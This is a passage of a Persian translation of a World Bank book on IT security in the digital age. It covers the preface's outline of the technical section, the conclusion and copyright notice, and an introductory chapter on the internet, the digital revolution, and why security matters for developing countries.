- قوانین، مقررات و سیاستهای دولتی که بر ارتقای امنیت رایانه‌ای در عرصهٔ پشتیبانی از مصرف‌کننده، داده‌های ارتباطات شخصی، و چارچوبهای تجارت الکترونیکی تأکید دارند؛ و
- نمونه‌هایی از سیاستها و قوانین تعدادی از کشورها و مراجع در سازمانهای بین‌المللی معتبر؛

بخش چهارم امنیت را از دیدگاه حقوقی و سیاستهای کلان ارزیابی می‌کند. بخش پنجم نگاهی عمیقتر به لوازم و روالهای فنی مورد نیاز برای تأمین امنیت فناوری اطلاعات دارد.

گزیده‌هایی از بخش پنجم
امنیت فناوری اطلاعات و راهبران فنی

بخش پنجم به راهبران شبکه و سیستم کمک می‌کند تا بتوانند وظایف خود را بصورت کارآمدتری انجام دهند. این بخش مسائلی را پوشش می‌دهد که باید در سطوح فنی و مدیریتی درک شوند؛ مثلاً اینکه ضوابط امنیتی چگونه نقض می‌شوند و یا روشهای مقابله با تهدیدات کدامند. بخشهای دیگر این کتاب مروری بر مسائلی نظیر امنیت کاربران خانگی، امنیت از دیدگاه سازمانی و پیاده‌سازی سیاستهای کلان امنیتی دارند. بخش پنجم به تفصیل به بررسی تهدیدات ویژهٔ امنیتی می‌پردازد که شامل روشهای مختلف حمله به سیستمها و برنامه‌ها، روشهای نظارت بر ترافیک شبکه‌های مهم، *الگوهای سرآمدی*[17] در تأمین امنیت این سیستمها، و روش مناسب کار با ابزارهای امنیتی در زمان بحران می‌باشد.

بخش پنجم حاوی مطالب زیر است:

- طراحی سیستمهای امنیتی و روشهای مورد استفادهٔ نفوذگران سیستم؛
- تهدیدات مختلف امنیت فناوری اطلاعات از سوی عوامل محیطی برای خرابکاری و دزدی اطلاعات و راهکارهایی برای مقابله با آنها؛
- مکانیزمهای حفاظت از داده‌ها در مقابله با افشای غیرعمدی اطلاعات که با عناوین *محرمانگی داده‌ها*[18] (جلوگیری از دسترسی کاربران غیرمجاز به سیستم و تغییر داده‌ها و برنامه‌ها توسط آنها) و *یکپارچگی داده‌ها*[19] (اطمینان از اینکه نرم‌افزارها و اطلاعات بی‌نقص و صحیح باقی‌خواهند ماند) شناخته می‌شوند؛
- روالهایی برای *شناسایی*[20]، تصدیق هویت، و *تأیید اعتبار*[21] کاربران؛
- مشکلات امنیتی رایج در رایانه‌هایی که برای ارائه خدمات اطلاعاتی بکار می‌روند و تنظیمات *سرویس‌دهنده‌ها*[22] برای به حداقل رساندن این مسائل؛
- امنیت شبکه از بعد سخت افزاری (مودمها، *مسیریابها*[23] و دسترسی بی‌سیم) و نرم‌افزاری (پروتکلهای شبکه‌ای موجود روی شبکه‌های محلی و اینترنت؛ مثل TCP/IP)؛
- فناوریهای مورد استفاده برای حمله به *ایستگاههای کاری*[24] و سرویس‌دهنده‌ها که به آنها *تخریب سرویس* (DoS)[25] و *تهدیدات برنامه‌ریزی‌شده*[26] می‌گویند.

17 *Best Practices*
18 *Data Confidentiality*
19 *Data Integrity*
20 *Identification*
21 *Authorization*
22 *Servers*
23 *Routers*

- چگونگی استفاده از *ابزارهای ممیزی*[۲۷] و ورود به سیستم برای کمک به شناسایی سیستمهای آسیب‌پذیر و یافتن مواردی که روی این سیستمها دچار تغییر شده‌اند.
- توصیه‌های فنی ویژه برای سیستم عاملهای Unix، Linux، Windows، و Macintosh

به دلیل حجم و پیچیدگی موضوع، چندین ضمیمه نیز در انتهای کتاب آمده است.

پیوست ۱ حاوی واژه‌نامه‌ای از اصطلاحات رایجی است که در حوزهٔ فناوری اطلاعات و ارتباطات مورد استفاده قرار می‌گیرند، و پیوستهای ۲ تا ۵ نیز مراجع مورد استفاده در تهیه و تدوین کتاب را معرفی نموده‌اند. این منابع شامل مستندات چاپی، مدارک الکترونیکی و فهرستی از سازمانهایی که دربارهٔ مسائل امنیتی به فعالیت می‌پردازند هستند. توصیه می‌شود تمامی خوانندگان به مراجعی که در بخش منابع و مآخذ ذکر شده‌اند سری بزنند.

گامهای آتی و نتیجه‌گیری

فناوری دیجیتالی ابزارهای جدیدی را در اختیار ما قرار داده که تأثیر عمدهٔ آنها در آموزش و پرورش، بهداشت، تجارت و دیگر بخشهای جامعه نمایان است. این فناوری برای تمام کشورها و مردم مفید است، اما می‌تواند جذابیت خاصی برای کشورهای درحال توسعه داشته باشد و به آنها کمک کند تا انسجام خود را به سمت جامعهٔ اقتصادی جهانی افزایش دهند؛ ولی در عین حال انجام اینکار برای کشورها هزینهٔ زیادی دارد. سرمایه‌گذاری مستقیم خارجی و اطمینان و اعتماد به کشورهای درحال توسعه، بستگی به پیاده‌سازی امن و کارآمد فناوری و زیرساختها دارد. دولتها، سازمانها و کاربران خانگی همگی در تأمین امنیت شبکه‌ها و سرمایه‌های الکترونیکی و اطلاعاتی آنها نقش بسزایی دارند. این کتاب حاوی مجموعه‌ای از بهترین شیوه‌های رایج و الگوهای سرآمدی در زمینهٔ امنیت است که به خوانندگان در پیاده‌سازی سیاستها و روالها – بر حسب شرایط – کمک می‌کند. این کتاب همچنین شامل مراجع فراوانی از موضوعاتی است که ابعاد دیگر امنیت فناوری اطلاعات را پوشش می‌دهند و لذا آموختن محتویات آن، گامی در جهت انتقال اطلاعات و تولید ظرفیت در سطح محلی در جهان رو به گسترش امروز به حساب می‌آید. این کتاب توسط بانک جهانی منتشر شده و دیسک فشرده و پایگاه وب آن که حاوی مطالب جدید در این زمینه است نیز در اختیار علاقه‌مندان قرار گرفته است. اولین ویرایش این کتاب در اجلاس جهانی سران جامعهٔ اطلاعاتی (WSIS) در ژنو در دسامبر ۲۰۰۳ میلادی ارائه شد.

بانک جهانی طبق *منشور حق تکثیر جهانی*[۲۸] مایل به حفظ قانون حق تکثیر این کتاب است و به هیچ عنوان نسخه‌برداری مطالب این کتاب برای تحقیق، آموزش و دیگر اهداف جز در کشورهای درحال توسعهٔ عضو بانک جهانی مجاز نمی‌باشد. یافته‌ها، تفاسیر و نتایج موجود در این کتاب همگی متعلق به نویسندگان هستند و نباید آنها را به بانک جهانی، سازمانهای وابسته به آن، اعضای هیأت مدیره و یا کشورهای عضو نسبت داد.

24 *Workstation*
25 *Denial of Service*
26 *Programmed Threats*
27 *Auditing Tools*

28 *Universal Copyright Convention*

امنیت فناوری اطلاعات در عصر دیجیتال

بخش اول

مقدمه

ظهور فناوری دیجیتال یکی از بارزترین پیشرفتهای فناوری در نیم‌قرن اخیر به شمار می‌آید که در زندگی کنونی بشر بصورت عاملی حیاتی درآمده است.[1] برای بسیاری از ما این نوع فناوری در قالب رایانه‌های دیجیتالی تجلی کرده و به ابزاری لازم برای انجام کارها و رفع نیازهای شخصی تبدیل شده است. در سال ۱۹۵۱ میلادی زمانیکه اولین رایانهٔ دیجیتال تجاری موسوم به UNIVAC I به *سازمان آمار و سرشماری ایالات متحده آمریکا*[2] تحویل داده شد، بسیاری از مردم در مورد رایانه‌ها چیزی نمی‌دانستند و آن رایانه‌ها نیز تنها در تعداد انگشت شماری از دانشگاهها و آزمایشگاههای تحقیقاتی مورد استفاده قرار داشتند. این رایانه‌ها بزرگ، گران و مملو از اشکال بودند. در مقابل، رایانه‌های امروزی اندازه‌ای نسبتاً کوچک دارند، ارزان و قابل اطمینان هستند و می‌توان آنها را در هر کشوری یافت.

به فاصلهٔ کوتاهی پس از رواج رایانه‌ها در دانشگاهها، پروژه‌های تحقیقاتی برای مرتبط ساختن آنها با یکدیگر به نحوی که امکان مبادلهٔ اطلاعات میان آنها بوجود آید آغاز شدند. از میان این پروژه‌ها، پروژهٔ توسعهٔ شبکهٔ ARPANET موفقیت بیشتری کسب کرد و به آن چیزی تبدیل شد که امروز آنرا بعنوان "اینترنت" می‌شناسیم و درحال حاضر بیش از ۳۰۰ میلیون رایانه را در سراسر جهان به هم مرتبط کرده است.

شبکهٔ جهانی وب[3] که توسط *تیم برنرز لی*[4] و *رابرت کایلیو*[5] در *مرکز تحقیقات هسته‌ای اروپا*[6] در اوایل دههٔ ۹۰ میلادی و در شهر ژنو ایجاد شد سرویس قدرتمندی است که از اینترنت برای ایجاد یک سیستم اطلاعاتی جهانی بهره جسته و بهره‌وری و جذابیت اینترنت را به مراتب افزایش داده است. هر چند بسیاری از مردم تفاوتی میان شبکهٔ جهانی وب و اینترنت قائل نیستند، ولی در واقع وب تنها یکی از این *خدمات*[7] (و البته مهمترین آنها) است که اینترنت را به چنین ابزار قدرتمندی برای اطلاع‌رسانی و برقراری ارتباطات تبدیل کرده است.

طی ده سال اخیر اینترنت به یک ابزار مهم ارتباطی میان تمامی اقشار جامعه تبدیل شده و ما برای دسترسی آنی به اطلاعات، ارتباطات اختصاصی، تمامی انواع برنامه‌های کاربردی، تجاری، روابط کاری و نقل و انتقالات مالی به آن وابسته‌ایم. قابلیت اطمینان و دسترسی آسان به اینترنت برای موفقیت پایدار و مداوم کشورهای توسعه‌یافته یک عامل حیاتی بشمار می‌رود و اهمیت آن برای کشورهای درحال توسعه نیز بسرعت رو به افزایش است. آثار استفاده از رایانه‌ها و نتایج حاصله از انقلاب اینترنت از مرز فواید مستقیم آنها فراتر رفته و پیش‌بینی می‌شود که تأثیرات بیشتری نیز در راه باشند.

اول از همه اینکه اینترنت مرزهای جغرافیایی میان کاربران متصل به خود را کمرنگ کرده و روند جهانی‌سازی را با ارائه قابلیتهای رسانه‌های ارتباطی تسهیل نموده و لذا هر کسی مستقل از محل فیزیکی خود قادر به برقراری ارتباط با آن می‌باشد. *موتورهای جستجو*[8] بر روند این تغییر تأثیری مضاعف داشته‌اند؛ چراکه نتایج جستجو بر اساس موضوعات ظاهر می‌شوند و نه بر اساس فاصله‌ای که کاربر با آنها دارد؛ بطوریکه پایگاه وبِ کارخانجات و شرکتهای واقع در کشورهای توسعه‌یافته و درحال توسعه از موقعیت یکسانی برای نظاره‌شدن توسط مراجعین برخوردار هستند.

دومین مسئله این است که اینترنت تأثیری شگرف در فرآیند حذف واسطه‌های تجاری داشته است. بعنوان مثال می‌توان به کاهش چشمگیر نرخ استخدام منشی در کشورهای توسعه‌یافته اشاره‌کرد که دلیل آن این است که نوشتن متن و چاپ و ارسال پیام شخصی برای افراد از طریق تسهیلاتی چون پردازشگر کلمات و پست الکترونیکی آسانتر از دیکته کردن متن برای یک منشی است. به همین ترتیب

1 *Digital Tornado: The Internet and Telecommunications Policy FCC Staff Working Paper on Internet Policy (1997): http://www.fcc.gov/Bureaus/Miscellaneous/News_Releases/1997/nrmc7020.html*
2 *U.S. Bureau of Census*
3 *World-Wide Web*
4 *Tim Berners-Lee*
5 *Robert Cailliau*
6 *Center for European Nuclear Research (CERN)*
7 *Services*
8 *Search Engine*

گردشگریِ دسته‌جمعی نیز درحال حاضر رو به انقراض است، چراکه گردشگران می‌توانند بلیطهای هوایی یا قطار و همچنین اتاقهای هتل مورد نظر خود را بصورت برخط[9] رزرو کنند و این امر موجب صرفه‌جویی در هزینه و وقت مشتری شده و باعث شده بتوان با کمی دقت روی سفارشات، از یک سفر مفرح لذت برد. پیدایش شرکتهای فروشندهٔ کتاب، موسیقی و محصولات الکترونیکی بصورت برخط موجب تهدید و ضربه به فروشگاههای عرضه‌کنندهٔ اینگونه محصولات شده، اما در عین حال در بسیاری از بخشهای این صنف به گسترده‌تر شدن طیف بازار هدف نیز انجامیده است. از آنجا که حرفه‌ها و صنایع سنتی به وجود خود ادامه می‌دهند، تمایل دارند افراد کمتری به استخدام درآورند و حتی ممکن است بجای ارائه خدمات عمومی به سمت بازارهای تخصصی حرکت کنند. تأثیرات مشهود روند حذف واسطه‌ها که با ظهور این فناوری شروع شد برای مدتی طولانی ادامه خواهد یافت و با اهمیت روزافزون فناوری اطلاعات، صنایع و حرفه‌های بیشتری با آن جایگزین خواهند شد.

سومین پیامد این است که نرخ بهره‌وری حداقل در صنایع وابسته به فناوری اطلاعات با شتابی چشمگیر افزایش خواهد یافت. به کمک پست الکترونیکی امکان ارسال و تبادل اطلاعات در سراسر جهان طی تنها چند ثانیه ممکن شده، بطوریکه مباحث و مذاکرات جهانی را می‌توان بسیار سریعتر از گذشته پیگیری کرد و به نتیجه رساند. امور بازرگانی که تا چندی قبل از طریق پست، تلکس و تلفن انجام می‌شدند اکنون با بکارگیری مفاهیمی نوین در صنعت مخابرات سیار، سریعتر و کارآمدتر به انجام می‌رسند و این مسئله چرخهٔ زمانی انجام فعالیتها را کاهش داده است.

نکتهٔ آخر اینکه ایمن نگاه داشتن محل ذخیرهٔ اطلاعات و خطوط ارتباطی مخابراتی نیز در این محیط جدید الزامی است. صنعت و فناوری امروز به شدت در تکاپوی یافتن راهی برای تضمین امنیت زیرساختهای خود هستند، چراکه دست‌اندرکاران آن دریافته‌اند که بیشتر نقایص امنیتی اینترنت ناشی از وجود سخت‌افزارها و نرم‌افزارهای ناامن در آن می‌باشند. در این محیط ایجاد اطمینان و اعتماد به رایانه، شبکه و داده‌های ذخیره‌شده نسبت به محیطی که در آن روابط کاری بر اساس گفتگوهای رو در رو انجام می‌گیرد کمابیش از اهمیت یکسانی برخوردار است.

این مطلب در مورد کشورهای درحال توسعه نیز واضح است: سازمانهایی که به سطح امنیتی مناسبی در زیرساختهای دیجیتالی خود دست نیافته و از ارسال اطلاعات خویش به نحو مطلوبی محافظت نمی‌کنند شایستهٔ اعتماد نخواهند بود و از کاروان اقتصاد نوین جهانی عقب خواهند ماند.[10]

انقلاب دیجیتال

امروزه فناوری دیجیتال از حیطهٔ رایانه‌ها فراتر رفته است. پیشرفتهای فناوری در صنعت میکروالکترونیک امکان ساخت ابزارهای پیچیدهٔ الکترونیکی در مقیاسهای بسیار کوچک را فراهم آورده بطوریکه اکنون شما می‌توانید تجهیزات ارتباطی و محاسباتی بسیار پیچیده را در جیب خود جای دهید. علاوه بر این بهبود نسبت قیمت به کارآیی برای این نوع فناوری در هر سال چیزی حدود ۳۰٪ است و احتمال برقراری این نسبت تا ده سال آینده نیز بسیار بالاست.[11] انتظار ما این است که این فناوری مورد استقبال گسترده قرار گیرد و عرصه‌های نوینی در تجارت پدید آورد و نقطهٔ شروعی برای آغاز عصر طلایی فناوری دیجیتالی باشد.

تجهیزات تلفنی مدرن امروز کاملاً دیجیتالی هستند و سیستمهای هدفمند رایانه‌ای جایگزین تجهیزات Switching مبتنی بر رلهٔ مکانیکی شده‌اند. از زمان پیدایش دیسک فشرده در اواخر دههٔ ۸۰ میلادی، صدا و موسیقی شکل دیجیتالی به خود گرفته و با پیدایش قالب موسیقی MP3 در اواخر دههٔ ۹۰ میلادی ضبط صدا حتی در محیطهای خانگی نیز کاملاً دیجیتالی شده است. در دنیای عکاسی و فیلمبرداری نیز تصاویر دیجیتالی و دوربینهای دیجیتالی ثبت تصاویر فیلمهای عکاسی گشته‌اند.

9 Online

10 Braga, Carlos Prima, Inclusión or Exclusion, UNESCO Courier: http://www.fcc.gov/Bureaus/Miscellaneous/News_Releases/1997/nrmc7020.html

۱۱ این نرخ پیشرفت فنی یکی از پیامدهای قانون Moor است که بوسیلهٔ Gordon Moor، پدر اینتل در دههٔ ۱۹۶۰ تشریح شده. او می‌گوید طی هر دورهٔ ۲ ساله (که بعداً آنرا به ۱۸ ماه کاهش داد) فناوری به تولیدکنندگان اجازه می‌دهد ریزپردازنده‌هایی با ظرفیت دوبرابر و قیمت یکسان تهیه کنند. این روند طی ۴۰ سال گذشته به همین منوال بوده و انتظار می‌رود که حداقل تا ۱۰ سال دیگر نیز همینطور باشد.

امروز حتی فیلمهای سینمایی و کارتونها نیز دیجیتالی شده‌اند؛ چراکه بدین شکل هزینه‌های تولید آنها کمتر و کیفیتشان بیشتر است. رفته‌رفته نوارهای ویدئویی جای خود را به فناوری DVD داده‌اند و فیلمهای سینمایی با امکانات دیجیتالی ساخته و تدوین می‌گردند.

استانداردهای تلفنهای بی‌سیم درحال حرکت به سمت فناوری دیجیتال هستند و با وجود پروتکلهایی چون GSM، CDMA، TDMA و گونه‌های مختلف آنها بتدریج جایگزین نسل قدیمی استانداردهای فناوری آنالوگ خواهند شد. در کشورهای توسعه‌یافته تلویزیون دیجیتال به صحنه آمده است و دیری نخواهد گذشت که جای استانداردهای پخش برنامه را خواهد گرفت (هرچند که این تغییر کمی کندتر از بقیه خواهد بود؛ چراکه حجم گیرنده‌های خانگی موجود که به استانداردهای قدیمی‌تر وابسته‌اند بسیار وسیع است).

سیستمهای امنیت فیزیکی نیز درحال تبدیل به انواع الکترونیکی خود هستند. در هتلها، آپارتمانها و دفاتر اداری، کلیدهای فیزیکی جای خود را به کارتهای الکترونیکی داده‌اند. دوربینهای تلویزیونی مورد استفاده در سیستمهای نظارتی ساختمانها و تأسیسات نیز اغلب از تجهیزات الکترونیکی استفاده می‌کنند که بجای ارسال سیگنالهای تلویزیونی به یک مانیتور ویدئویی، تصاویر الکترونیکی را به ایستگاههای نظارت دیجیتالی ارسال می‌کنند.[۱۲]

بسیاری از خدماتی که امروزه از آنها استفاده می‌کنیم بدون وجود رایانه، شبکه و فناوری دیجیتال قابل ارائه نخواهند بود. خطوط هوایی نیز بدون سیستمهای رزرو رایانه‌ای و سیستمهای نگهداری و پشتیبانی پرواز قادر به رقابت با هم نیستند. هواپیماها تا اندازهٔ زیادی به حسگرهای الکترونیکی و کنترلهای دیجیتالی وابسته‌اند و بدون آنها نمی‌توانند به خوبی کار کنند. حتی اتومبیلها نیز برای عملکرد مناسب و کمک به عیب‌یابی و نگهداری خود از ریزپردازنده‌ها استفاده می‌کنند. *سیستمهای مکانیابی جهانی* (GPS)[۱۳] نیز به شما این امکان را می‌دهند که بدانید در هر لحظه در چه مکانی روی کرهٔ زمین قرار گرفته‌اید و با داشتن چنین دستگاه نسبتاً ارزانی در کنار رایانه‌ای که حاوی پایگاه داده‌ای از نقشه‌ها باشد قادر به یافتن مسیر حرکت، نقاط مهم، رستورانها، تابلوهای راهنما، خدمات ارائه‌شده در طول مسیر، و در نهایت مقصد مورد نظر خواهید بود.

این دستگاههای دیجیتال با سرعتی باورنکردنی در شبکه قرار می‌گیرند. تلفنهای بی‌سیم قادر به برقراری ارتباط با اینترنت هستند و ابتدا قادر به ارسال صوت و اکنون قادر به مبادلهٔ تصاویر از طریق اینترنت می‌باشند و بزودی دارای قابلیت GPS نیز خواهند شد و به این ترتیب افرادی که در معرض خطر و حادثه قرار گرفته باشند را می‌توان با دقتی زیاد و تنها با یک تلفن مکانیابی کرد. بسیاری از خدماتی که اکنون مورد استفادهٔ ما قرار می‌گیرند – مثل دستگاههای خودپرداز که برای تبادل و نقل و انتقال پول بکار می‌روند – بر اساس اصل "در دسترس بودن شبکه" کار می‌کنند. نقل و انتقالات مالی و اعتباری میان‌بانکی و بین‌المللی وابستگی زیادی به شبکه‌های اعتباری و مالی دارند.[۱۴] امروزه نقل و انتقالات بانکهای الکترونیکی از طریق اینترنت برای افراد میسر است.

توسعهٔ ابزارهای الکترونیکیِ دیجیتال و دستگاههای مرتبط با هم فواید بسیاری دارد؛ ولی نکات منفی نیز در آن قابل مشاهده است. پیدا کردن محل استقرار شما برای افراد آسانتر شده است. دیدن صفحات تبلیغاتی وب، یافتن آنچه که بدنبال خرید آن در مغازه‌ها هستید، و مشاهدهٔ آنچه که درحال تماشا یا خواندن بصورت برخط هستید نیز ساده‌تر از قبل می‌باشد. اگر چنین نظارتی بر منافع شما حاکم باشد قاعدتاً شما از آن باخبر نخواهید شد، اما شاید بخواهید مطمئن شوید که چنین داده‌هایی با کسب اجازه از شما جمع‌آوری می‌شوند و تنها برای اهدافی بکار می‌روند که از

---

۱۲ *این مورد خاص ممکن است مشاغل را به سمت کشورهای درحال توسعه هدایت کند. به محض اینکه تصاویر در قالب دیجیتال درآیند و روی اینترنت قرار داده شوند، می‌توانند به یک سیستم نظارت در هر کجای شبکه فرستاده شوند. بنابر پیش‌بینی‌ها این قابلیت امنیتی که به مهارت خاصی نیاز ندارد می‌تواند در کشورهای درحال توسعه با هزینهٔ کمتر و کیفیت برابر راه‌اندازی شود. این پیشنهاد در با استقبال توسعه‌دهندگان مواجه شد، اما از آنجا که در این نوع واگذاری مرزهای ملی در نوردیده می‌شوند، ممکن است برخی نگرانیهای امنیت فیزیکی به بار بیایند.*

13 Global Positioning System

۱۴ *شبکهٔ تبادل مالی میان بانکها در گذشته از یک شبکهٔ اختصاصی بسیار ایمن که برای همین هدف خاص طراحی شده بود استفاده می‌کرد و به اینترنت نیز متصل نبود. این مسئله با درنظر گرفتن ارزش زیاد آن شبکه و تأثیرات بسیار مخرب و جدی هرگونه نفوذ به آن کاملاً منطقی بنظر می‌رسد.*

آن اطلاع دارید و با آن موافق هستید. بسیاری از مردم برای حریم خصوصی خود اهمیت زیادی قائل هستند و دولتها نیز مایل به حفظ حقوق افراد می‌باشند، گرچه میزان و شدت اجرای قوانین از یک کشور تا کشور دیگر متفاوت است. مسئله اصلی برای دولتها این است که منافع حاصل از فناوریهای نوظهور را تشخیص دهند و در عین حال ارزشها و آزادیهایی که بدون آن فناوریها می‌توان از آنها برخوردار بود را همچنان حفظ کنند. موضوع این است که دولتها باید فناوریهای جدید را درک کرده و تأثیر قابلیتها و امکانات نوین بر آزادیها را ارزیابی نمایند. همچنین دولتها باید گامهای مؤثری بردارند تا مطمئن شوند اگر قوانین و سیاستهای عمومی در این زمینه آزادیهای فعلی را تقویت نمی‌کنند، حداقل یک وفاق جمعی در مورد آنها وجود داشته باشد.

دنیای دیجیتالی معمولاً با عنوان *فضای سایبر*[15] شناخته می‌شود و تعریف آن تمامی رایانه‌ها و ابزارهای دیجیتالی که با شبکه‌های داخلی و خارجی به هم متصل می‌شوند و می‌توانند با یکدیگر ارتباط داشته باشند را در بر می‌گیرد.[16] در فضای سایبر هم مثل فضای فیزیکی می‌توان دربارهٔ ملاقاتها و انجام کارها صحبت کرد، اما باید میان رفتار در فضای سایبر و دنیای حقیقی که در آن زندگی، کار و بازی می‌کنیم تفاوت قائل شد.

گسترش و رواج سریع رایانه‌های شخصی و اینترنت در بخشهای مختلف کشورهای درحال توسعه منافع بسیاری داشته است. با اینحال اینترنت بخودی خود رسانه‌ای نیست که نسبت به رفتار تبهکارانه ایمنی داشته باشد. هزینهٔ عدم توجه کافی به امنیت می‌تواند از دست دادن داده‌های مورد نیاز برای انجام کار یک سازمان بزرگ یا مؤسسهٔ دولتی باشد. اینترنت ماهیتاً از ایمنی لازم برخوردار نیست اما هزینهٔ امن کردن آن نیز در مقایسه با هزینهٔ از دست رفتن داده‌های ارزشمند سازمانها و مؤسسات چندان قابل توجه نمی‌باشد. از دیگر مواردی که می‌تواند بسیار مهم باشد آنست که تأثیر سرقت و وقوع تخلف مالی در یک شرکت تنها محصور به آن شرکت نیست و در کل صنعت کشور تأثیر می‌گذارد.

با گسترش اینترنت و افزایش چشمگیر نگرانیهای ناشی از *حملات سایبر*[17]، تعداد چنین حوادثی نیز رو به افزایش است:

"با وجود اینکه رایانه‌ها نقطهٔ مناسبی برای انجام حملات تروریستی هستند، اما این نکته را نیز باید درنظر داشت که برخی اقدامات خرابکارانه توسط افرادی صورت می‌گیرند که از این راه بدنبال کسب درآمد هستند. *مرکز فوریتهای امنیت رایانه‌ای* (CERT)[18] در سال ۲۰۰۱ میلادی رقمی برابر با ۵۲۶۵۸ رخداد امنیتی اینترنتی را شناسایی کرده که دو برابر تعداد یکسال قبلتر است و نسبت به دو سال پیش از آن چهار برابر می‌باشد."[19]

بحث امنیت رایانه‌ها و شبکه‌ها برای کشورهای درحال توسعه از اهمیت خاصی برخوردار است. اینترنت می‌تواند فواصل را از میان بردارد و دسترسی به مطالب بی‌شماری را فراهم کند. با وجود شبکهٔ جهانی وب، اینترنت قادر خواهد بود از اطلاعات موجود دربارهٔ شرکتها، امکانات، و محصولات کشورهای درحال توسعه استفاده کند و تجارت را در آنها توسعه دهد. علاوه بر این، موتورهای جستجو از نظر جغرافیایی تمایزی میان پایگاههای وب قائل نمی‌شوند؛ و بدین ترتیب تأمین‌کنندگان خدمات و کالاهای اساسی و مواد اولیهٔ کشورهای درحال توسعه روی وب در کنار تأمین‌کنندگان کالاها و خدمات کشورهای توسعه‌یافته قرار می‌گیرند.[20] این امر را گاهی "مرگ فاصله‌ها" می‌نامند؛[21] واژه‌ای که روند جریان اطلاعات در اینترنت را نشان می‌دهد.

---

15 Cyberspace

۱۶ "فضای سایبر" اولین بار توسط یک نویسنده به نام William Gibson برای یک دنیای موازی که توسط رایانه‌های سراسر دنیا ساخته شده بود در سال ۱۹۸۴ و در رمان او با عنوان "Neuromancer" بکار رفت. این تعریف می‌تواند در ادبیات مفید باشد، اما معنی آن بتدریج از آنچه Gibson مد نظر داشت تغییر یافته است. برای اطلاعات بیشتر به همین پاورقی در کتاب اصلی و یا منبع زیر مراجعه کنید:
Intven, et al., Legal and Regulatory Aspects of e-Commerce and the Internet, World Bank Legal Review, vol. 1 2003, at fn 17. (Kluwer)

17 Cyber Attacks

18 Computer Emergency Response Team

19 Reuters/USA Today, April 16, 2003

۲۰ در حقیقت موتورهای جستجو بر اساس زبان میان پاسخهای یافته‌شده تفاوت می‌گذارند، و لذا در بازار جهانی هر کس باید به زبان بازار هدف خود صحبت کند. همچنین موتورهای جستجو ممکن است آنقدر تحمل نداشته باشند که بخواهند منتظر دریافت پاسخ از پایگاههایی باشند که ارتباطشان کند است. در هرحال شرکتهای تجاری می‌توانند پایگاه خود را در هر کجای دنیا میزبانی کنند و بگونه‌ای محل میزبان خود را برگزینند که اطلاعات به بازارهای هدف نزدیک باشد. بعضی از شرکتها از پایگاههای انعکاسی (mirror sites) استفاده می‌کنند؛ به این معنی که یک

ولی با اینحال همواره مخاطراتی جدی مانند از دست دادن سوابق، حملات تخریب سرویس، خراب شدن اطلاعات و سایر انواع حملات خصمانه وجود دارد. از دست رفتن تمام یا بخشی از سوابق الکترونیکی می‌تواند یک شرکت را زمینگیر کند. برای کشوری که امنیت فناوری اطلاعات آن ضعیف است این احتمال وجود دارد که منابع حیاتی آن در معرض خطر قرار گیرند و به آنها صدمات جبران ناپذیری وارد شود. عدم توجه کافی به امنیت برای کشورهایی که به روابط خارجی در صنایع خود اهمیت می‌دهند می‌تواند موجب خسارتهای جدی و پیش‌بینی نشده‌ای گردد. نیل به *اهداف توسعهٔ هزاره* (MDG)[۲۲] به توانایی کشورهای درحال توسعه در استفادهٔ مؤثر از فناوری اطلاعات و افزایش بودجهٔ آنها با عضویت دائمی در سازمان تجارت جهانی بستگی دارد.[۲۳] توانایی کسب و تأمین اطلاعات مناسب می‌تواند در تمامی زمینه‌های اقتصادی به کشورهای درحال توسعه کمک کند.

متأسفانه همهٔ ظواهر خوب و بد انسانی را می‌توان در فضای سایبر نیز مشاهده نمود. از آنجا که نسخه‌برداری از مضامین دیجیتالی و ویرایش آنها آسان است، مغالطه و تحریف اطلاعات مثل جعل مستندات اداری و رسمی آسان می‌شود. به دلیل آنکه اینترنت از یک محیط پژوهشی و تعاونی شروع به کار کرد و هدف آن اشتراک آسان اطلاعات بود، ساختار آن باعث تسهیل حمله به رایانه‌ها و سرقت اطلاعات محرمانه می‌گردد.

انگیزهٔ افرادی که در فضای سایبر چنین رفتاری از خود بروز می‌دهند شبیه انگیزه‌هایی است که در دنیای واقعی آنها را به کارهای مشابه وادار می‌کند، اما با یک تفاوت عمده: محیطی که توسط رایانه‌ها و اینترنت بوجود آمده باعث شده در افراد این تمایل بوجود بیاید که بخواهند ثابت کنند که می‌توانند به سیستمها وارد شوند و مشکلاتی بوجود بیاورند. بیشتر مشکلات موجود در فضای سایبر از جانب *خرابکارها*[۲۴] ناشی می‌شود. خرابکارها افرادی هستند که می‌خواهند ثابت کنند می‌توانند از هر سد امنیتی که سر راهشان قرار داشته باشد عبور کنند. اگر بخواهیم چنین رفتاری را در دنیای واقعی مدل کنیم باید فردی مورد اشاره قرار دهیم که می‌خواهد ثابت کند می‌تواند به خانه شما وارد شود و سپس بدون دست زدن به چیزی خارج شود! چنین پدیده‌ای نه‌تنها موجب بروز نوعی احساس عدم اطمینان می‌شود، بلکه این سؤال را نیز پدید می‌آورد که چه چیزی درحال تغییر یافتن یا کم شدن است یا اینکه چه اقداماتی می‌توان برای جلوگیری از نفوذهای بعدی انجام داد. همانطور که چنین رفتاری در دنیای واقعی قابل تحمل نیست، در فضای سایبر هم نمی‌توان این رفتار را تحمل کرد. فنون موجود در این کتاب به شما در حفاظت از خودتان در مقابل چنین رفتارهایی کمک خواهد نمود.

این کتاب و هر آنچه که در فضای سایبر وجود دارد شما را از کسب دانسته‌های جدیدتر دربارهٔ رایانه و اینترنت و افزایش سطح آگاهی و مهارتهایتان بی‌نیاز نمی‌کند. امروزه اینترنت دروازهٔ ورود به دنیای شگفت انگیز اطلاعات و دانسته‌ها است و می‌تواند این اطلاعات را با قیمت بسیار نازل در اختیار عموم قرار دهد. بدین ترتیب می‌توان اطلاعات را بصورت کارآمد و مؤثری به‌اشتراک گذارد. با اینحال برای دستیابی به این هدف لازم است امکانات و رفتارهایی که ممکن است در مقابل آن قرار داشته باشند را بشناسیم. با مفهوم هوشیاری در دنیای واقعی آشنا هستیم. اکنون باید بیاموزیم که چگونه می‌توان در فضای سایبر به هوشیاری (هوشیاری سایبر) رسید. این کتاب برای کمک به شما در انجام این مهم تهیه و تدوین شده است.

امنیت چیست؟

مفهوم امنیت در دنیای واقعی برای بسیاری از ما حیاتی است. در دوران ماقبل تاریخ، امنیت عبارت بود از اصول حفظ بقا؛ نظیر امنیت در برابر حملهٔ دیگران یا حیوانات، و نیز امنیت تأمین غذا.

نسخه از پایگاه را در یک محل متفاوت جغرافیایی میزبانی می‌کنند تا زمان دسترسی مشتری به اطلاعات، حداقل شود.

21 *Cairncross, F., The Death of Distance: How the Communications Revolution will Change our Lives, Harvard Business School Press (1997).*

22 *Millennium Development Goals*

